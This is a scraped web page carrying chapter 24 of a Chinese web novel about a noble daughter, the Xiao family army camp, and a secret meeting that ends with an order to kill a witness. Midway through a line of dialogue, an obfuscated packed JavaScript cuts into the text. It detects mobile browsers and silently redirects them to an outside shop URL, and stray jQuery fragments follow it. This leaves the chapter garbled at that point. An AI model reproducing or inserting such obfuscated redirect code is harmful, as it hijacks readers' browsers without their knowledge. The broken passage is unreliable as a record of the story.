文趣网 > 其他小说 > 刺杀长公主 > 24. 第 24 章
    刚开学的日子总是难熬,回家的马车上,徐望舒手中捧着书,没忍住低下头开始打着瞌睡。

    果然春日宴的魁首不是这么容易当的,虽然跟着兄长一起上课时,徐望舒也算颇为认真,但魁首显然不是她随便认真听几节课就可以当上的。

    春日宴的笔试一共分为两场,诗词歌赋和策论经义,虽然这两样课程学堂都有教授,但大家都默认诗词归女子比试,策论归男子比试。

    不过前些年也有过先例,有一户人家的少爷钻了规则的空子,硬是报名了诗词,最后战胜了一众女眷夺魁,拿下了不小数目的奖金。那少爷当时很是得意,当街声称燕京城的女子没有一个是真正有才情的。

    当时不少女眷颇为不服,却硬是找不出那男子的漏洞,只能眼睁睁地看着他炫耀自己的胜利。

    后来徐望舒得知了这么一桩奇事,只觉得无语非常:若这位少爷真的有才,又何须钻这么大的空子?用这种方式换来的胜利,就算真的夺得了魁首,也战胜不了内心的自卑,只会成为整个燕京的笑柄罢了。

    若是真的才情远洋,就该像她的皇嫂沈苔一样,直接一场夺下两个魁首,这才是令人津津乐道传扬至今的美名。

    昨夜徐望舒思索许久,她的诗词背诵一向不佳,昱朝吟诗作赋的女子不少,距离春日宴还剩下两个月,她就算再怎么苦读也不大可能能超越那些自幼就学诗的女孩。

    反倒是策论,她自幼跟着陆鹤云听从太师的教导,对策论的写法颇有心得,若是这两个月勤加练习,倒是还有几分机会。

    徐望舒原先还有点心虚,毕竟各类学堂里的男子不少,他们的策论又是科举的重点,她未必完全有这个把握。可她转了转眼珠,转念又觉得这些学堂的少年再厉害,不也没有入过翰林?在这个年纪考上举人的都寥寥无几,又不是像陈青琅那样的天才...

    想到这里,徐望舒摇了摇头,决定不再想这些与自己无关的东西了。那些少爷公子有没有努力不是她可以决定的,但自己的实力是自己一点点练习出来的,只要付出了最大的努力就好,剩下的她还是不要在意了!

    结果就是,昨夜她苦读良久,把前些时间自己和太子一起听的圣贤之道仔仔细细地回忆了一遍,直到夜深了才沉沉睡去,梦里还在琢磨着什么四书五经。

    这个不太美妙的梦导致的后果显而易见,徐望舒一整日上下眼皮都在打架,只能勉强提起一点精神。只能趁着放学坐马车回家的空隙才敢补一补眠。

    姐姐正随意看向窗外的景色消磨时光,徐望舒已经轻轻地睡了过去,虽然还能感受到车子轻微颠簸带来的晃动,意识却已经进入了梦乡。

    外头忽然传来刺啦一声巨响,车厢向前晃动了一大截,拴在车上的骏马莫名地嘶吼出声,将徐望舒从梦中吵醒。

    她揉了揉惺忪的眼睛,望向徐媛敏。徐媛敏正认真地透过车窗看向外面,面色不愉。

    车窗外,一辆疾驰的马车与她们擦肩而过,但速度太快,加上车夫的技术不佳,硬生生与徐府的马车剐蹭在了一起,徐府的车夫急忙停下来避免颠簸,但另一辆车并未多做停留,见没发生什么事便直挺挺地继续前进了。

    “真是好生怪异!有什么天大的急事非要骑这么快!”徐媛敏心中不满,又想起自己方才趁着对面马车前进时一晃眼见到的裴府牌匾,无语道,“裴沉裴景这对阴魂不散的玩意!坐个马车都要祸害路人,想想就烦!”

    闻言,徐望舒倒是清醒了过来,她打了个哈欠,有些不确定地开口问道:

    “我记得这马车是往我们反方向走的啊?”

    裴府和徐府之间隔得并不算远,甚至就在同一条街上,如果裴家的两人也是下了学一起回府,应该是和他们同方向的才对。

    “确实是往反方向去的,兴许是又跑去逛花楼了吧。”徐媛敏翻了个白眼,没好气道。

    徐望舒点了点头,仔细盯着马车离去的方向,分明是向着燕京边缘去的。她试探着问道:“那我们跟上?”

    徐望舒心中有个奇异的预感,她总觉得跟上去会发现些不得了的事情,毕竟自从她来到这具身体之后,各种奇怪的预感层出不穷,但总有收获。

    万一跟上去没什么,再回来就是了,但是要是又发现,那可是不得了的发现。

    徐媛敏皱起眉,本能地想开口拒绝,却在看到妹妹充满期待的表情后泄了气,她闭上眼睛,咬了咬牙:“行吧,听你的。”

    ——

    萧家军的营地位于燕京城外围,十几年前边疆将士归来都是直接调入燕京内部的禁军管控,奈何这十年来战事频繁,军队回到燕京待不满半月就要再次戍边,久而久之,萧家军就独立了出来。

    但按理来说,今年既然已经获胜取得了和平,军队就该自行归为皇家管辖,萧家军依然驻守在燕京外围,还有个重要的原因,来自于俘获的雁北战俘。

    按照以往,俘获的战俘要么充为农民,要么为大户人家为奴为婢,亦或者是继续跟随着军队,然而当今圣上不知是因为什么理由,要求萧大将军先继续将战俘留下作为俘虏,出于燕京安全考虑,萧平南决定先带着战俘继续守在外围,等皇帝下令处理了这批战俘后再谈其他。

    萧定北从营帐中走出来,正是夕阳西下的时候,一天的操练差不多结束,他手中带着一管水壶,不远处是一颗低矮的怪石,被压扁成了山峰的形状。萧定北坐在上面,提起水壶喝了一口,开始望向远方,看着夕阳间的景色。

    这是他一天之中难得的休闲时光,以前北境的军营附近也有一块大石头,他就喜欢趁着练兵结束,大汗淋漓的时候坐在上面,看着远方的燕京。

    北境的寒风刺骨,一点点地嵌进他的身体缝隙里,夕阳的余热又为他送上为数不多的温暖,他就这样眺望着,看着远方的家乡,幻想着心爱的人。

    即使战事已经胜利,他的这点爱好也依然没有改变。

    “你在看什么呢?”萧定北抬起头,见到头顶的姐姐正阴着脸看着自己。

    他下意识笑了笑,说道:“看夕阳,你知道的,我天天都这样看。”

    萧平南叹了口气:“你今夜替我,我要入宫一趟,公主忽然邀约我一起用

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755908|207348||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    晚膳,我不知她是什么意图,但我心中总觉得不踏实,你...帮我好好看着战俘军。”

    不知为何,这些天她心中总觉得惶惶不安,这样的预感在婢女通报公主邀约的时候更为强烈。

    今夜她不在,虽然已经通知了她的两位副将,但她还是觉得不踏实。萧定北虽谋略不如她,但战场杀敌她是一等一的放心,她特地仔细叮嘱了萧定北,就算夜里真的出了什么特殊情况,凭借她这位好弟弟的战斗力,定也出不了什么岔子。

    “我明白。”萧定北点头,虽然在关于公主的问题上,他和姐姐会不欢而散,但关于军营的大事,他们的心思还是一致的。

    萧定北回到营帐中,晚霞已经消失了,现在正是用晚饭的时候,士兵们三三两两都散了,就只剩下他的副将雷破还没走。

    雷破正在翻阅着兵法,注意到萧定北靠近,却并没有抬头。

    萧定北的这两位副将之中,雷破性情孤傲,但做事认真,韩铮与各个士兵关系都不错,能力也颇为出众。

    他正欲与雷破交代大将军今日的吩咐,就听到营帐外忽然传来少女的喊叫声:“救命!救命啊!”

    ——

    桑石心中郁闷。

    自从萧家得胜归来,他的父母就非要让他从军,害得他现在想和裴景见上一面也不容易。

    虽说他家本就是燕京一户普通人家,前些日子又因为他不慎杀了人,父母散尽家财,又加上裴景的帮助才得以喘息。

    不过这些天那户被害的人家又找了上来,父母一狠心,便弃了他让他赶快从军。

    原因自然也好理解,毕竟如今萧家已经得胜归来,和雁北已经取得了和平,就算入了军营也不过是受些辛苦,不必上前线打仗,况且进了军营,有大把的方法让他销声匿迹,不被那户人家找到报复。

    桑石心中自然理解父母的一番苦心,只是军中操练辛苦,每日只剩用饭的时间可以休息,晚上不少人在军营外围驻守,他自然也没有这个胆子跑出去,这样一来,能和裴沉见面的机会可就少了。

    因为这个原因,他每次午饭都吃得干呕,就是为了省下晚饭的时间,可以和裴沉见上一面。

    今日的桑石也是如此,等到用了晚饭的时候,他便趁着无人把手混出了军营,来到了城郊边上——这是他每日约定和裴沉见面的日子。

    想起裴沉,他又忍不住感慨,天底下怎会有这么好的男人,就算他杀了人也不离不弃,为了打消家中的怀疑还日日跑花楼,甚至和徐家的大小姐定下了婚约...

    哎,一旦裴沉真的成了婚,他们能见面的时间就更少了,桑石的泪在眼眶中打转,泪水模糊间,他见到了裴沉已经在约定好的地方等着他了。

    二人急忙凑近贴在一起,还没温存一会,就听到附近传来树枝被踩折的声音。

    “谁在哪里?”

    两个人向声音传出来的方向靠近,却已经看不见人影,只留下一阵香风,散在空气里久久不散。

    “她一定没跑远。”裴沉若有所思,笑道,

    “桑石,杀了她。”